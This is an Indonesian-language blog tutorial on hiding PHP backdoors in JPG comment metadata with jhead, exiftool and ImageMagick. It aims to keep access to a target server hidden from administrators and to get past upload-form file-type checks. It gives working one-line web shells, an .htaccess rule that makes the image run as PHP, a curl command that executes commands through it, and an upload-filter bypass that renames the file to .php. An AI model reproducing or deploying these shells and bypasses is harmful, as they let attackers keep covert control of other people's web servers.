Menyisipkan Backdoor PHP ke File Gambar

Ada banyak cara yang bisa dilakukan untuk membuat file backdoor atau akses pintu belakang yang kita buat di server target tetap awet alias tidak ketauan dan diterminate oleh admin webnya. Mulai dari menyisipkan file hidden uploader ke file yang sudah ada dll. Namun tentu saja trik tersebut masih ada kekurangan karena file tetap akan dianggap virus ketika server di scan. Pendekatan untuk mengindari file backdoor kita terdeteksi sebagai malware tentu saja berbeda, bukan menggunakan cara yang akan saya bahas disini.

Oke, selain berfungsi untuk menyembunyikan file backdoor agar tidak ketahuan oleh admin, menyisipkan file backdoor kedalam gambar juga dapat dimanfaatkan untuk melakukan bypass mime type checking pada fitur file upload.

Langsung saja ke tutorial. Ada beberapa cara untuk menyisipkan backdoor ke file gambar. Kita akan bahas satu persatu.

Backdoor on Image

Menggunakan Jhead

Jhead merupakan tool steganografi yang salah satu kegunaannya adalah untuk menambahkan comment kedalam file gambar. Utilitas ini mungkin belum terinstall secara default, namun biasanya sudah tersedia di repository Debian maupun Ubuntu. Install dulu menggunakan perintah:

sudo apt install jhead -y

Selanjutnya, siapkan gambar yang akan kita sisipi backdoor. Oh iya, gambarnya harus berekstensi .jpg ya. Sebagai contoh disini saya pakai gambar dengan nama yuuki.jpg.

Pertama, kita hapus dulu semua metadata didalam gambar, termasuk comment didalamnya, menggunakan perintah

jhead -purejpg yuuki.jpg

Selanjutnya, masukkan comment menggunakan perintah:

jhead -ce yuuki.jpg

Masukkan simple shell backdoor, misalkan kode berikut:

<?=`{$_REQUEST['asuna']}`?>

Editor yang digunakan jhead adalah vim. Jadi pastikan kalian terbiasa menggunakan vim.

Sekarang jika kalian cek menggunakan exiftool maka bagian comment gambar sudah disisipi backdoor PHP.

Sekarang kita coba test file nya.

Tambahkan file .htaccess didalam direktori tempat gambar berada. Dengan rule berikut:

<Files "yuuki.jpg">
    <If "%{QUERY_STRING} =~ /cmd=/ || %{REQUEST_METHOD} == 'POST'">
        ForceType application/x-httpd-php
    </If>
</Files>

Sekarang kita test.

curl http://localhost/backdoor-test/yuuki.jpg -d 'asuna=uname -a' --output -

Terlihat bahwa gambar tetap ter-render sebagai gambar normal di browser, namun post data menggunakan curl menampilkan output command uname -a seperti yang kita set pada htaccess.

Oke, sebenarnya masih ada dua comment alternatif lagi untuk menyisipkan backdoor kedalam gambar.

Menggunakan Exiftool

Exiftool juga dapat digunakan untuk menyisipkan backdoor kedalam gambar. Caranya cukup masukkan script PHP kedalam file text, lalu sisipkan kedalam gambar menggunakan Exiftool.

Pertama kita masukkan kode PHP kedalam file, disini contohnya saya masukkan kedalam file bd.txt.

Selanjutnya, jalankan command exiftool untuk menyisipkan konten bd.txt kedalam file gambar yuuki.jpg.

exiftool '-comment<=bd.txt' yuuki.jpg

Atau cara ketiga, lebih simple. Menggunakan utilitas convert dari ImageMagick.

Menggunakan Convert

Pastikan imagemagick sudah terinstall di sistem. Di Ubuntu dan Debian install menggunakan perintah:

sudo apt install imagemagick -y

Lalu sisipkan comment menggunakan perintah convert.

convert yuuki.jpg -set comment '<?=`$_GET[0]`?>' asunaa.jpg

Oke itu beberapa cara untuk menyisipkan backdoor kedalam gambar.

Selain digunakan untuk menyembunyikan backdoor, teknik ini dapat digunakan untuk melakukan bypass mime type dan file type checking pada fitur upload gambar. Dan sampai saat ini case ini masih sangat sering kita temukan.

Lab Time

Disini saya memiliki script uploader image yang melakukan checking mimetpye dan filetype. Namun jika tidak ada validasi ekstensi, filter ini masih dapat di bypass menggunakan cara diatas.

Jika kita upload file PHP secara langsung pasti gagal.


Meskipun kita ubah ekstensinya ke .jpg, jika isinya masih file gambar maka akan tetap gagal karena mime type nya bukan gambar.

Nah, caranya adalah dengan mengunggah file gambar yang sudah disisipi backdoor tadi, lalu kita tamper ekstensinya menjadi .php.


Maka file sukses terupload.

Oke mungkin sekian sharing kali ini. Semoga bermanfaat ya.

2 komentar untuk "Menyisipkan Backdoor PHP ke File Gambar"

Comment Author Avatar
wah, ekstensi php sangat meresahkan ya, banyak jalan utk menyusupi sistem berbasis php. oiya, udah coba ubuntu versi terbaru bang ?

Silahkan tinggalkan komentar jika ada masukan, pertanyaan, kritik ataupun dukungan. Namun pastikan untuk berkomentar secara sopan.